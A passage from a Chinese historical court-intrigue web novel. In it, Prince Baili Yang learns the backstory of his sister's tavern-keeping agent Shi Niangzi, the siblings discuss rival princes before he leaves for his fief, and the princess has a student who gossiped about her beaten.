百里漾听明白了,换了良籍之后的师娘子是想以一个良家女子的身份嫁给“李甲”,否则一个娶了娼妓出身的女子做妻子的人是没有任何前途可言的。而“李甲”既然曾出身世家大族,即便已经没落,但并非所有的世家大族都没落了,在局势稳定之后,他依旧可以依托以前父辈祖辈留下来的关系为自己寻求一个做官的途径。 师娘子那时的初衷显然是好的,也确确实实是为了两人的未来考虑了。但从现有的结局来看,这注定是一个负心薄情的故事,师娘子怕是被“李甲”给骗了。 而事实也确实如此。 “李甲”从重逢见到师娘子之后,一个预谋就在他的心中成形了,他打一开始就是冲着师娘子的钱财去的。他知道师娘子有钱,哪怕是为自己赎身之后一定还留有一笔不菲的钱财傍身,而他那时正好在为自己跻身官阶需要打点的银子发愁,正好师娘子就送上门来了。 “李甲”相貌不错,在家族没落之前他还是过过一段养尊处优的好日子的,家族也对他的进行过栽培,扮起落魄失意却深情的世家公子还是很能唬人的。 第75章 交谈 最终师娘子相信了他许下的山盟海誓, 拿出自己多年积攒下来的金银助他成事。“李甲”确有门路,缺的是打点的钱财。有了师娘子的倾囊相助之后,他很快靠着姻亲故旧的举荐当上了一地县令。收到消息的师娘子自是满心欢喜, 等待着意中人回来娶自己。 “李甲”确实是回来了,也说要娶师娘子,但这时候出了一个问题,师娘子的良籍迟迟没有下来,他们成亲之事也因此不得不暂缓了。一开始“李甲”提出要另置住所将师娘子安置在那里, 师娘子自是不愿意, 这与外室有何异?她拼尽全力从勾栏那个火坑之中跳出来, 不是为了跳入另一个火坑的。 而“李甲”则再次展现出了他精湛的演技,他左右为难、痛苦, 告诉师娘子这只是权宜之计,要师娘子再等等, 再等一段时间,她一定会成为他名正言顺的妻子。可是到最后, 师娘子等来的却是他琵琶别抱, 要强行将她纳成妾室。 直到那一刻, 师娘子才真正看清了“李甲”薄情寡义的恶毒面孔。一切从头到尾都不过是他精心设计的一个骗局,在骗取了师娘子的钱财之后,还不肯放过她的人。师娘子的良籍下不了也是他偷偷动的手脚。在他看来,自己出身高贵,遇到师娘子时也不过是一时落魄,以她如此卑贱的出身,也敢痴心妄想做自己的正妻,给一个妾室的位份就已经是恩赐。 “后来呢,阿姐是如何遇到她的?”百里漾听到这里时眉头紧紧皱起, 看了一眼不远处满面笑容、与人谈笑风生的师娘子,很难想象她之前会有如此悲惨的遭遇。 “一次出游遇到的。”百里澄看着百里漾的反应觉得很有意思,她这个弟弟向来比起其他的兄弟姐妹们要感性很多。“她那时正好逃出来,被我碰见了。本来是想要向我求救,却见我孤身一人,没有开口,径直跑了。” 从此处就可见师娘子的清醒理智之处了,她有自己的坚持和底线,不会为了自己脱身而选择将素昧平生的无辜之人牵扯进来。 百里漾想,或许就是这一点让长姐愿意对师娘子伸出援助之人。换作是他,也不会在知道了师娘子的遭遇之后而无动于衷。 在百里澄后面的讲述之中,她再次见到师娘子是在牢狱之中。她说道:“那个人死了,在一次争执之中被师娘子杀死了。” 在反抗“李甲”对她施暴的过程中被反杀了。 百里漾一愣,从这句话之中分析师娘子当时的处境,再怎么往轻去分析,得出的结果也是很不妙的,师娘子最好的结局也只有一个死,她会获得相对而言会死得比较轻松的斩刑。 以大衍的律法来看,妻杀夫,必死。而“李甲”死时还是官身,师娘子与之相比地位卑贱低下,真正论起来她甚至都不能算是“李甲”的妻子,以卑冒贵,是要罪上加罪的。百里漾已经能够想象出那些审案的官员是如何对待师娘子了,上刑必不可少,让她受尽折磨后扔到牢狱里,在绝望之中等待痛苦的死亡到来。 百里漾也能明白百里澄为什么会在牢狱之中看到师娘子。大衍相比于前朝在律法上宽厚了许多,其中有关于对死刑复核的明确要求。审案的官员在判决犯人死刑之后,按照律法至少要由上级衙门至少再复查一次。而根据命案的性质以及紧要程度的不同,核准死刑的最终衙署也会有所不同。 按照师娘子所犯命案的性质,她所杀的对象是官员,这案子足以上报到湛京之中的廷尉来复核,而那一段时间皇帝正好让东宫审查廷尉的案件防止有冤案存在。东宫病弱,多是栎阳长公主辅佐,这也是许多人心照不宣的事情。百里澄会去到牢狱里也不是什么稀奇之事。 之后的事情也不难猜了。 百里澄动用了自己的力量和手段让身犯命案的师娘子“死”去,为她改头换面,此后重新活在这世上的就是另一个师娘子,一个重焕新生的师娘子,也就是百里漾此时见到的模样。 “听了这段故事,五郎有何感想?”百里澄问道,秀眉微挑,“是不是觉得比听唱戏还要精彩?” “确实精彩。可戏文上故事再悲惨催泪,人人都知道这是假的。落到现实里,这故事便沉如千钧了。”百里漾声音略显低沉。他可怜同情师娘子的遭遇,又欣慰于最后长姐救她脱离苦海,慨然道:“不管如何,她如今也算是从泥沼之中脱身而出。现在的生活,也比此前的好太多了。”而这大抵也是师娘子自己想要的。 对于百里澄来说解救师娘子并不是一件多么为难的事情。救了人,给她一新身份让她换一个无人认识的地方重新生活,有一点麻烦,但绝对不是什么难做的事情。可若是要在栎阳长公主的手底下做事,性质就完全不一样了。百里澄需要为师娘子遮掩的地方更多,付出的心力也更多。要使一国长公主做到这样的地步,师娘子便要证明自己的价值。 从目下的情况来看,结果是皆大欢喜的。师娘子托庇于栎阳长公主的权势之下,再也不是当初那个任人宰割的可怜之人,百里澄也获得了一得力手下。 “自然是比之前好多了。”百里澄姿态睥睨,目光微凝,“任何时候,只有自己手中握有力量,他人才不能够轻易地践踏自己。有了力量,才能得到想要的,护住自己想要护住的。” 弱者在面对屠刀时也只能任人宰割。险些死去的师娘子比任何人都明白这个道理,她抓住了机会,最终成为了今日的自己。 这无疑是令人很敬佩的。 百里漾也很少见到这样清醒理智的人。 师娘子的话题谈论到这里就停住了,这只是姐弟俩今日见面的一个小插曲,百里澄约百里漾来此地见面要说的主要还是他即将回江都的事情。皇帝虽然允准了他请回封地之事,但并没有如同之前对待定安王他们那样是催赶着回去的,百里漾有足够的时间准备回程的事宜。 “我去江都之后,阿爹阿娘还有阿兄他们就有劳阿姐多多看顾了。”百里漾真诚且郑重地拜托百里澄。他去江都之后,不能在双亲膝下尽孝,太子长兄又素来体弱多病,一切也只能仰仗长姐了。 “京中有我,你顾好自己就是。”百里澄看着眼前面有愁容的弟弟,忽然微微倾身朝前伸出手指谈了一下他的脑门,轻微“嘚”的一声,“这次你去江都,万事都多警醒些,阿娘还等着你下次回来能抱上孙子孙女呢。” 弹的这一下脑门并不疼,百里漾更多的是在意百里澄给他的提醒。 其实所有人都心知肚明,越是到后面,这条争权夺利的道路上的竞争只会更加激烈,它会卷进越来越多的人,不知道多少人拼上了全部身家性命只为了搏一个从龙之功。这些人都是这个世界上最疯狂的赌徒,一旦逼到绝路,他们什么事情都有可能做得出来。 而在这个世上,消除威胁最快速有效的方式永远都是物理消灭。 人都死了,还怎么争? 上一次围场遇刺之事,至今还让百里漾心里余悸。有时候他做梦都会重新梦回围场,梦到那支向他射出来的冷箭,与现实不同,梦中的那支箭是切实地扎入了他的心口之中,让他数次从梦中惊醒,冷汗连连。 可以预见的是,如果有可能有机会的话,他的那些异母兄弟们是不会放过对他下手的机会的。他的存在对于他们来说无疑是一个巨大的威胁与阻碍,谁都会想拔除掉他。不,不止有他,椒房,东宫以及百里澄,都是他们恨不得要除之而后快的对象。 “我会注意的,阿姐你们也是如此。”百里漾声音低沉,既是许诺也是祈愿,“我们都要好好的走到最后。” 百里澄莞尔,夹了一筷子菜到百里漾的碗里,“光顾着说话了,尝尝这里的菜色,这顿可是师娘子请客。” 之前有些沉重压抑的氛围被一下子打破,转变为了轻松欢快。百里漾自然是想与长姐百里澄好好吃一顿饭的,愉快地接受了她的投喂。 姐弟两人边吃喝边谈些事情,既有与湛京有关的,也有关于江都乃至离渊的,也谈及了一些有关定安王几个的话题。 封王就国出去的就那么几个,宫里的那两个皇子还小不足为虑。长夏王荒唐放诞,每年弹劾他的奏本在皇帝的御案上都能堆成小山高。这次岁贡回京,朝臣们虽然当着长夏王的面不说什么,私底下嫌弃鄙夷的也不知道有多少。山阳王年纪是最小的,也没有成亲纳妃,就封几年无功无过,素日里也不声不响的,不怎么引人注意。百里澄几兄妹对这个异母弟弟有关注,但也不会很多。最烦人的就是定安王了,经常上蹿下跳的,而且他的心思,明眼人都能看得出来。 有心思不算是什么大事。都是出生在帝王之家,自呱呱落地起的那一时刻开始就被权力浸染,谁没有对那把象征着九五至尊的权力宝座有过憧憬和幻想?但想是一回事,真正要对此付出行动又是另当别论了。 百里漾他们不知道定安王的野心是从什么时候开始膨胀起来的,但这已经不那么重要了,重要的是他现在确实算得上是他们的一大威胁。百里洪如今是皇帝的庶长皇子,光论长幼来说,他是皇嗣之中除了太子之外年纪最长者,而这一点也算得上他的一大优势。然而仅仅只是这点优势还不够,百里洪自己也清楚,他要为自己争取更大赢面就需要获得更多的优势。 “从定安传来的消息,老三这些时日可是忙得很。”百里澄面上露出了些冷嘲热讽。 长姐往定安王那几兄弟处安插有探子的事情,百里漾是知道的。闻言,他不由问道:“他又做了什么?”莫非是与离渊那边有关,还是又作什么妖了? “可能是想着自己的孩子太孤单,想多生几个弟弟妹妹出来同他们一块玩吧。” 百里漾:“……” 无需赘言,他大概是懂定安王做了什么了,大概率是又往自己的后院里加人了。他可是记得,前不久定安王在湛京时纳了两个侧室。这才过去多久啊,又往自己后院里塞人。吐槽归吐槽,百里漾稍微想想也知道定安王这么做是为了什么。抛开贪图美色的因素,定安王无非是想要更多的子嗣。毕竟子嗣多了,也能算是一个优势。 古往今来,上位者权衡一个人是否适合做继承人的标准就那么几点,子嗣也是其中一个考量点。尤其是如今椒房一脉只有阿荧一个孩子,定安王是想在这一方面发力占据优势,毕竟他膝下只比东宫多了一个儿子,这优势也不怎么明显。 虽然可以想明白定安王的想法,但百里漾自己还是不怎么能够接受这样的做法,受前世的影响,他总感觉自己跟这个时代还是有些格格不入的。定安王如今也就二十出头,这样的年纪放在前世还在接受高等教育,而放在这个时代少说都得是一个孩子的爹了。甚至定安王还觉得不够,他还想要努力多生几个。 百里漾不由得又想到了他的另一个异母兄弟,长夏王。据说长夏王现在已经有将近十个孩子了,而他的年纪比定安王还要小。很快百里漾又想到了自己身上,想到了自己和颜漪。他们也成亲有一段时日了,亲密的次数不算多但也不能说少。这年头又没有什么特别有效且不伤身的避孕手段,他们又都身体正常,照这个趋势下去,说不准很快就要有孩子了。 不到二十岁就要当爹么? 百里漾一想到这个内心其实是有点要拒绝的,但他也知道这种事情不由得他的意愿去发展。况且,从目前的局势来看以及对未来的考量,他是需要有孩子的。哪怕是从私人感情出发,他也需要去满足阿娘抱孙辈的愿望。 就这么一会儿的功夫,百里澄不知道百里漾想了些什么,不仅在无声的叹气,连脑袋都有些许的耷拉下来了。不过她也只是不解了片刻就想通了百里漾在愁什么,摇头失笑。她这个弟弟这些年看着是成熟了一些,实际上有些时候还是没长大的。 这般想着,百里澄开始关心起了弟弟的婚后生活。与皇后一样,哪怕这桩婚事的目的并不那么纯粹,她还是希望百里漾与颜漪婚后至少能够和睦相处,即便是只做上层圈子之中最常见的那种只做到彼此敬重的夫妻。 百里漾没想到长姐忽然问起他的婚后生活来了,脑海中一闪而过的却是他们昨夜里云雨纠缠的画面,不由得脸上发热,面上还要保持淡定从容,他说道:“一切都还好,我们相处得好行,也没有什么特别不适应的地方。” 他支支吾吾的,不愿意说的太明白。百里澄看着他的反应却觉得好玩又有些好笑,想着她这弟弟在这一方面脸皮薄还真是挺令人稀奇的。说的不清楚也没有关系,她也不是非要知道小夫妻俩相处的细节。从百里漾的反应也能看出来这小两口这段时日确实是过得挺黏糊的。 这很好,这就足够了。 从小就开始在权力里泡着的百里澄无比清醒地清楚爱情这种东西对于他们这种人来说是稀缺品。而对于追逐权力的人来说,这种东西也是最容易被舍弃掉的。但不可否认,拥有一份真挚的感情无疑是一件很美妙的事情。如果条件可以,百里澄自是希望她所珍视在意的人能够拥有。 “你们好好过日子,阿娘也能够放心了。”百里澄说道。 “是。”百里漾觉得长姐怎么说这话带着一种老人家的语气,但也知道她是盼着他好,答应下来,“我们会好好过日子的。”忽然想起长姐的婚事至今没有个着落,想问又不太敢问。 “有什么话就说,做甚突然犹犹豫豫的。”百里澄看他欲言又止,有些没好气说道。 百里漾眨巴着眼睛将意思表达了,他怕挨长姐的铁拳,赶紧祭出护身符,“前日去阿娘殿中,阿娘与我念叨的。” 长女都这岁数了,亲事却一直没有着落,甚至本人都不在意。皇后一想起这件事情就挺愁的,偏偏这事她又不能逼着长女,每每想起都要叹气。前日皇后与百里漾说了,让他去探探长女的口风,这是不管怎样都要有个章程出来啊。 当时百里漾心里就嘀咕了,这事他哪里敢去问长姐,但又不好拒绝,只能先答应下来。昨日没见到人,今日见着了,只好硬着头皮问了。 “这事你别管。”百里澄又赏了他一个弹指,一句话将这个话题终结。 百里漾不敢多说也不敢多问,就这样吧。反正他也不觉得长姐这个年纪不成亲有什么问题,有权有势的,为什么非得找一个不喜欢的驸马回来放府里杵着。阿娘交给他的任务他这也算是完成了。 随后百里漾又想起自己之前与颜漪探讨的改良造纸术的问题,趁着这个时候也与百里澄说了。百里澄不用多想就知道这件事情若是做好了会对现在以及未来产生多么重大深远的影响,虽说此事难做,可不做就永远不会有成功的那一日。她直接答应了下来,脑海之中已经在思索可以安排什么可靠之人去做这件事了。 这一顿饭吃得很是舒适。 日头渐偏西,天光也带上了几分橘黄。酒足饭饱,百里漾觉得方才尝到了几道菜品味道很是不错,叫来酒肆伺候的小厮,让他额外准备一份,自己要带回去。 “是带回去给王妃的吧。”百里澄笑道。 被一句道破,百里漾颇有些不好意思,不过这也没什么好隐瞒的,“我宅中不曾有这般菜色,带回去给她尝尝鲜。” “有菜无酒也是无趣。”百里澄招来小厮吩咐了几句,又对百里漾说道,“这有三十年的陈酿,你带回去与弟媳同饮也是一桩雅事。”- 作者有话说:更新了,这周的榜单结束了。 第76章 长公主之心 百里漾接受了百里澄的提议, 提着装有美味可口的酒菜回江都王宅找颜漪去了。他离开之后约莫一刻钟的时间,师娘子回到这个包厢里。席面上的酒菜重新换了新的菜色,她亲自给百里澄斟酒, 说道:“百闻不如一见,今日有幸见到真正的江都王了。” “你瞧着我这个弟弟如何?”百里澄斜倚在靠椅上,修长且骨节分明的手里轻握着一只质如白玉的白瓷酒杯,微微摇晃着,玫红的酒液朝杯壁四下冲撞却怎么也溢不出来。她唇角噙着笑, 似是漫不经心, 却有一股说不出来的风流潇洒。 师娘子一不小心就被晃了眼。她当初见到百里澄的第一眼就被百里澄尤为好看的皮相给惊艳了, 哪怕她那个时候是在逃命。之后再相遇,发展至如今的主从关系, 师娘子每每见到这位主子一次都不由得在心中赞叹眼前这位究竟是个什么神仙人物,升起自愧弗如的感叹。 尽管被美貌闪了眼, 师娘子也很快回神,一边回想方才见到百里漾时的情景, 一边斟酌着用词, “五王丰神俊逸, 天资高华,又与主子手足情深,着实令人羡慕。”她对百里漾是真诚的夸赞,在她看来百里漾在各方面都是她所见过的人之中最出彩的那一类。 师娘子过往的那些悲惨遭遇带给她的并非都是不幸。无论是以前在勾栏瓦舍,还是如今在湛京做酒肆生意,与形形色色的人打交道多了,她也算是练就了一双识人的“火眼金睛”。一个人的本性如何,绝大多数时候能够从眼睛看得出来。 江都王看人的目光清正炯明,被他看着的人并不会觉得冒犯与不适。过去因为相貌身份的原因, 师娘子身上曾经被投注过太多权贵上位者打量物品似的审视的目光。这种目光绝不是善意的,哪怕时至今日也没有彻底的消失。毫无疑问,江都王对于她来说是绝对的上位者,可他在见到自己时眼神是很平静干净的,或许会有好奇亦有欣赏,但绝没有那些污浊的东西。 惊诧么?自然是惊诧,师娘子不仅惊且喜,随即便暗自赞叹不愧为椒房嫡出之子。她更为惊喜的是江都王对主子这位长姐的态度是极为的敬爱与信赖。这种姐弟之间和睦融洽的关系或许在民间多为常见,但在帝王之家中几乎是不可能存在的。别说天家了,就算是她在湛京的这几年,见过的高门勋贵之家的兄弟手足也没有多少是真正和睦的。 惊喜过后,师娘子心头上又不禁浮上一层隐忧。她无比清楚主子要做的是什么事情,如今事情没有揭开姐弟能够一团和睦,可人心易变,现在如此又岂能保证将来一切被摊开之后还会有如今的局面? “五郎向来是好的。” 百里澄听到夸百里漾的话唇角的弧度微微扩大了些,抬眼看见了师娘子眉头紧锁,面上覆上了一层愁容。师娘子在她的面前是从来不掩饰自己的情绪的,加上这些年相处下来对其的了解,百里澄稍稍一想就明了师娘子在忧愁什么,她眼眸微眯,无奈笑道:“你啊,这想太多的毛病还是改不掉。” “主子恕罪。”师娘子当即叩首谢罪道。 “你有这层担忧也不算有错,这也不是完全没有可能发生的事情。毕竟这未来的事情谁又能说得准呢?”百里澄抬手让师娘子起来,说道,“但若要因为尚不清楚是否一定会发生的事情而一开始就心存忌惮、多有防备,岂不是太伤人心了。” 她知道师娘子忧虑的出发点是为了她,亦是忠心侍主的表现,也知道师娘子这样多思多虑的性情是过往那些无比糟糕的经历与环境造成的,这不是师娘子的错。况且这并不算是缺点,也帮助了师娘子在湛京这样表面平静繁华实则暗潮汹涌的地方立足更稳也更混得开。如今谨慎且防患于未然并没有错,但百里澄只是想告诉师娘子,她与百里漾是姐弟,是亲人,并不需要用上这些。 权力是好东西无疑,大家都会想着要去争去抢,甚至不惜用尽一切手段把它牢牢握在自己的手上,这无可厚非。尤其是身在天家这样时时刻刻都在争权夺势的漩涡之中,不争不抢是活不下来的。真若是走到了反目的那一日,大家都要争,那就各凭实力了。 况且对于百里漾这个幼弟的性子,百里澄自认还是有七八分了解的。他们姐弟未必真的会走到师娘子所担心的那般境地。 百里澄的态度已经很明显了,师娘子不由羞愧,低头道:“是属下想岔了。” 这个话题很快就被揭过,师娘子向百里澄汇报进来收集到的信息。自定安王等人各自返回封地之后,湛京很是风平浪静了一段时间,大的风波没有,至多不过是一些小打小闹,这些还进不到百里澄的眼睛里。故而师娘子主要说的是各诸侯王与离渊发生的事情。 诸王大多还是老样子。 长夏王因为此次进京岁贡言语冒犯椒房被皇帝削掉了一个沃郡,一回到长夏国就找来心腹让他们出主意如何敛财维持自己之前奢靡的生活。他还算有点脑子,知道若是加重税收让湛京这边知道了他准没有好果子吃,所以他下手的对象成了长夏国境内颇有家资的富商大族们,设了各种名目让他们给自己送钱。 这些富商大族们自长夏王就封之后每年都给他奉上了大笔钱财,且数额往往是不定的,呈现出了逐年上涨的趋势。而长夏王的胃口是一年比一年大,富商大族们私底下怨声载道,明面上却不敢说“不”,只能每年捏着鼻子给他上供价值不菲的金银器物。 这次长夏王被削减封地的事情传回长夏国后,富商大族们都有不好的预感,果不其然,长夏王一回来就急不可耐地伸手向他们要钱。这谁受得了啊,家产再丰厚也禁不住长夏王这只盘踞在王宫里的饕餮这么霍霍啊。况且这种事情一旦开了口,以长夏王贪得无厌的性子,年年如此,甚至还会一年比一年贪婪,再大的家业早晚也得被掏空。 富商大族们不愿意,他们联合起来抵制长夏王的狮子大开口。长夏王见他们不识抬举也恼了,收拾了两家跳得最欢的,本以为能够杀鸡儆猴,没想到效果却并不好,富商大族们更加不愿意了。如今长夏国因为这事还在闹腾着。 “蠢货。”百里澄冷斥了一声。在所有的异母兄弟之中,她观感最差的其实不是定安王,而是蠢到没有药救的长夏王,这厮又毒又蠢,也是她生平少见的极品了。 与达官贵族接触多了的师娘子也觉得长夏王这人真是令人很难绷,她在湛京这几年也没见过几个这样的。作妖也不看看现在是什么时候,离渊那边眼看着情形不好,边境并不稳当,很可能又要起战事,长夏王不想着稳定封国、积极备战,反而将长夏国内部搞得一团乱。他那脑子里就只剩下“享乐”二字了么? “长夏国境内如此,真要是起了战事,恐怕情形不妙。”怒归怒,师娘子不由得担忧起边境的百姓来。 长夏王这时候搞这么一出幺蛾子搅得长夏国内一团乱,内部不安稳对于战局的影响是极大的,届时离渊又卷土重来,长夏国抵御不力,遭殃的还是边关的将士和百姓。即便最后长夏王会受到惩罚,但他会因此获罪而死么?不会。皇帝不可能真的杀了自己的儿子的,至多不过是削爵减地。 师娘子想到的事情,百里澄怎么想不到。对于师娘子的担忧,百里澄说道:“朝廷早知长夏王荒唐,长夏边境防线上还有老成持重的将领驻守,乱不起来的。” 长夏王荒诞不是一日两日了,朝廷也知道他是一个什么德性。边境防线如此紧要的事情不可能真的放心由长夏王来镇守,早两年就派遣了可靠的将领过去总领军务。况且如今离渊那边的时局眼看着就不对劲,朝廷也绝对不会放任长夏王作妖作到影响战事的地步。 虽说师娘子为百里澄暗中收集情报,可对朝堂上的事情以及那些当权者的心思并不是十分了解。百里澄这么一说,她也将心放回肚子中去。 山阳国最近没有发生什么特别的事情,就如山阳王本人一样,安静,没什么存在感。比起山阳国这边,定安国可就热闹多了。定安王自受伤之后便从前线战地撤了下来,回到王宫养伤。养伤期间,他纳了三房妾室,这段时日主要是忙于造人,别的也没什么动静。 “继续使人盯着。”百里澄手指点在光润的案几面上,说道。 幼弟百里漾即将返回封地,江都距离湛京不算远,终究也是有一段距离的。她并不希望在这短短的一段路上发生什么令人不愉快的事情。百里澄极少会去赌人性,更不会去赌定安王几个异母兄弟会有残存有什么手足亲情。诸如上次围场刺杀的事情,她不可能再让它发生第二次了。 “是,主子。属下会令人再加派人手盯着。”师娘子垂首说道。 说完了情报的事情之后,百里漾便起身离开酒肆,至楼梯口转角处的前一段走廊上,迎面撞上一群吃醉酒的年轻男子。这些人三五成群聚在一起,吵吵嚷嚷地说着话。 第77章 离京前 这里是酒肆的三楼, 两边的包间隔着一条宽阔的走廊,足以容纳十一二个成年男子并排行走,绝大部分情况下都不会出现拥堵的情况。可眼下这群灌了二两黄汤就醉眼朦胧、脚步虚飘的人走走停停、摇摇晃晃路都走不直, 直接堵住了百里澄的去路,让她不得不放缓了步伐。 “长公主,他们皆是太学的学生。奴婢这就去令他们离开。”师娘子见状说道。这群太学生都是她店中的常客,许多人的样貌她都是认得的。 不说师娘子认得,百里澄也在其中瞧见了一两个瞧着有一点点面熟的, 如今醉醺醺的哪里还见得到平日里端方守礼的模样。虽然知道不太可能, 百里澄依旧是用目光在这群太学生里寻了一遍, 企图在其中找到某张熟悉的脸,结果也在意料之中。她不禁在心里摇摇头, 心想自己到底是在想些什么。 师娘子哪能让这群醉汉冲撞到百里澄,连忙上前说话让他们让出道来。这些人也没有真的醉到连店家娘子都认不清, 嘻嘻哈哈地打了招呼,见前面是一女子, 也没有多看, 爽快地将道路让了出来。 他们也没有真的醉到脑子都被糊住了。这家酒肆在湛京是排得上号的, 来往之人不乏有钱有势之人。他们之中虽然也有不少出身高门的,但湛京是天子脚下、卧虎藏龙之地,大人物亦不少,彼此之间又都扯着弯弯绕绕的关系,真要是冲撞上了,怕是要惹出麻烦来。他们只是来吃酒聚乐,不是来惹乱子的。 一群人笑闹着从百里澄身边经过,他们说的话也一字不差地传入了她的耳中。 “这次考核四郎又得了甲上,想必过不了多久就能授官就任, 得见天颜了,届时你可不能小气,必要再请我们来这里聚一回,好让我们沾沾你的喜气啊。 “那是必然的,四郎何时小气过了。到时别说这里了,湛京的各大酒楼酒肆说不得都要请我们去转上一转。” “四郎果真大气。” 一时之间附和声不断。 很显然,这位被称为“四郎”的年轻男子是这群太学生中的核心人物,众人以他为首,说的话也多以吹捧奉承为主,他的身份也是这群人之中最高的。 四郎被周围同窗追捧阿谀的话语说得有些飘飘然,面上还是做出谦虚的样子,目光环顾了一圈,眼睛微眯,显出些许阴鸷,言语之中夹杂着不知真假的遗憾,“说来我还是差了些的,比之闻夏兄还是逊色不少。此次我们同窗相聚,没能请来闻夏兄,多少都算是一件憾事。 他突然提到“闻夏”这个名字,周围人静了一瞬,很快就有人接口道:“这闻夏是个什么东西?四郎亲自邀请他来聚会是看得起他,他竟不识抬举。一个出身卑贱的下等之人还敢在四郎面前摆起谱来了。” 此话一出,附和的人不少,言语之间愤愤,不仅是瞧不上凋夏,还有一种恼羞成怒在里面。他们看不起贫寒出身的闻夏,更怨恨于这样的一个卑残之人竟然在学业上比过了他们,更让他们觉得不能忍受的是当他们向闻夏抛出橄榄枝表露出接纳闻夏的意愿时,竟然被拒绝了。这不仅是拒绝,更像是在他们的面上抽了一个响亮的耳光。偏偏四郎又看重闻夏,屡屡给闻夏面子,又屡屡被闻夏给拒了。这更加引起了他们的不满。 “要我说,这等不识抬举的乡巴佬就该一辈子做他的泥腿子,也不知道高皇帝当初……”话还没说完,这人脸上就被抽了一巴掌,强行打断了他的话。他下意识地要发怒却冷不丁对上了四郎阴冷的目光。 “清醒了么?喝了几杯马尿什么话也敢说。”四郎心里大骂“蠢货”,若不是这蠢货是他家族中的人,他管他去死。 那人被一巴掌强制清醒,在四郎阴冷的目光之中猛然意识到自己方才究竟说了什么,冷汗瞬间就狂冒出来,直接浸湿了后背的衣襟,手心里也捏了一把汗,两只手都控制不住地在抖。 差一点,差一点就祸从口出了。 议论高皇帝的不是,叫人报上去,有九个脑袋都不够砍的,甚至还会带累家人。 高皇帝早建立大衍之后立下太学、确立了太学的学制,令天下之人不论出身只要才学品德达标者皆可进入太学中深造后授官,步入仕途。这是从来没有之事,他们堂堂士族高门之后,竟然要与这等卑贱之人同窗进学,这叫人如何接受得了。但不满归不满,抱怨的话是绝不能宣之于口的,否则等待自己的绝对是灭顶之灾。 这人今夜酒饮的多了,竟开始胡言乱语起来。他后怕不已,哪怕已经被吓得清醒了,接下来却不敢轻易开口说话了。其他人则继续进行对闻夏的“讨伐”。他们如此厌恶闻夏是有缘由的。 虽然都是同在太学读书,但太学生与太学生之间事不同的,进入太学的学生自然而然的就分成了两类,一类是士族高门勋贵之后,一类则是出身平平却凭借出众的才学德行被招入太学的人。身份的差别以及自小成长的环境不同让这两类人很难走到一块去。 不少自诩高贵的太学生心中深觉得与这些穷酸卑贱之人同窗是一种耻辱,他们嘴上不敢宣之于口,但私底下没少对那些出身贫寒的太学生进行打压和欺凌。被欺负的太学生无权无势,又不甘心一直遭受欺辱,于是便报团来自救或者反击。当然也有人抱着向上爬的心思想要被那些出身高贵的同窗接纳的,但上赶着的往往更是被这些人所瞧不起。 他们所说的闻夏在一群出身平平的太学生之中很是独特。他面对这些人的刁难不亢不卑不说,甚至还能够找机会反击回去。且闻夏此人的课业尤为出众,在这一批太学生之中是最优秀的那个,那些前来授课的博士对他的观感极好。这也是这些人不敢真的对闻夏下狠手的原因。 打压不成那就拉拢。 可闻夏也没有给他们拉拢的机会,无论这些人如何示好,皆是被各种理由拒了。这些人屡屡被下面子,久而久之,对闻夏可不就只剩下厌恶痛恨了。最让他们嫉恨的是,姓闻的这厮不知道如何搭上了栎阳长公主。他们不解更不服,私底下时自是没少诋毁闻夏,这让他们觉得畅快。 “那厮如此不把我等放在眼里,无非就是傍上了栎阳长公主。有长公主撑腰,他腰杆子硬着呢。”又有人说道,“授官在即,他自是要忙着去讨好长公主,为自己谋一个好去处。” 殊不知他话说得厌恶痛恨,心里却忍不住冒出酸水来。他不觉得闻夏这厮有什么好,除了一张脸还看得过去,其余的压根拿不出手,可偏偏栎阳长公主就是看上了这个小白脸。 “以色侍人,他闻夏就是这点出息了。” 不敢议论高皇帝与朝堂大事,私底下蛐蛐长公主的风月之事,他们的胆子倒是很大。只是好巧不巧,这话正正落在了交错反向而行的百里澄的耳朵里。 “以色侍人?侍谁,我么?”与那群太学生错开之后,百里澄脚步顿了一下,唇角勾起了一抹玩味的弧度。 这话师娘子可不敢接,涉及到主子的私事,她虽然好奇主子与那名叫做闻夏的太学生究竟是怎么一回事,但也不敢多问,只能露出尴尬而不失礼貌的微笑以示回应。 “我倒是愿意,可惜人家不愿意。”百里澄也不介意在师娘子面前表露自己对闻夏的兴趣,眼眸中的光有些暖融,却在下一瞬变得冰冷没有波澜,语气也变得极其平淡,“方才说这话的人,给他一点教训。” “是,属下立即着人去办。”师娘子内心毫无波澜,对于这个结果接受良好并且早有预料。胆敢议论长公主的私事,也该断一条腿让他好好长长记性。 那群走过去没有多远的太学生之中,正与身边同窗笑闹着说话的太学生突然莫名其妙地浑身抖了一下,后背心涌上一股凉飕飕的感觉,整个人有一瞬间的愣忪,像木了一般。他的异样叫旁边人看在眼里,笑骂他一句,“忽然间怎么如抽风一般?” “无事,可能是衣服穿少了,突然冷得抖了一下。”那人也不知道怎么回事,想想也只有这个解释了。 旁人自然不会把他这莫名其妙的一抖当一回事,转头又去与别人说笑去了。他们也不会知道此前与他们迎面错开之人就是被他们私下议论的栎阳长公主。这群太学生还没有资格见到长公主的真颜,或许其中有一两人曾经在某次宴会上见过,但也只是远远的望见,真人到了他们面前也必然是认不出的,就如今日一般。 这群人聚会至月上中天才散去,各归各家。 其中一人行至距离自家不远的一处街巷时,突然麻袋从天而降,眼前一黑的同时迎来了棍棒加身。结实的木棍往毫不留情地他身上招呼,棍击又密又快,丝毫求饶的机会都不给他,只有痛呼。最后一棍狠狠地敲在他的右腿上,随之而来的是一道沉闷的“咔擦”声,剧痛瞬间覆盖了他所有的感知,直接昏死过去。 伏击的两人从头至尾都没有说过一句话,确定任务完成之后,迅速撤离了现场。至于地上的这人何时能被人发现带去救治,这就不在他们考虑的范围之内了。 百里漾离京返回封地的日期定在了八月十八,那天是吉日,诸事顺遂。也就是说,他还可以在湛京过今年的八月十五。这时候的八月十五也有中秋的叫法,但此时的重视程度比起百里漾的前世还是差了许多,不过也有一些相似的活动。 临近启程之日,百里漾的日子清闲了许多。每日睡到自然醒,与颜漪共进早膳之后,两人携手在王宅的后花园漫步消食。到了巳时后,两人都会出门拜访亲友等,有时是两人同去,有时则是分开各自前往。 望日当天,百里漾与颜漪起床、穿衣洗漱之后便去了定国公府。他们过几日就要离开湛京,还不知何时能够回来,余下的几日时间也都希望能够多陪陪家人。白日他们多待在定国公府,有时候也会到大将军府上拜访崔预夫妇。到了晚上时则是入宫陪皇后用晚膳。 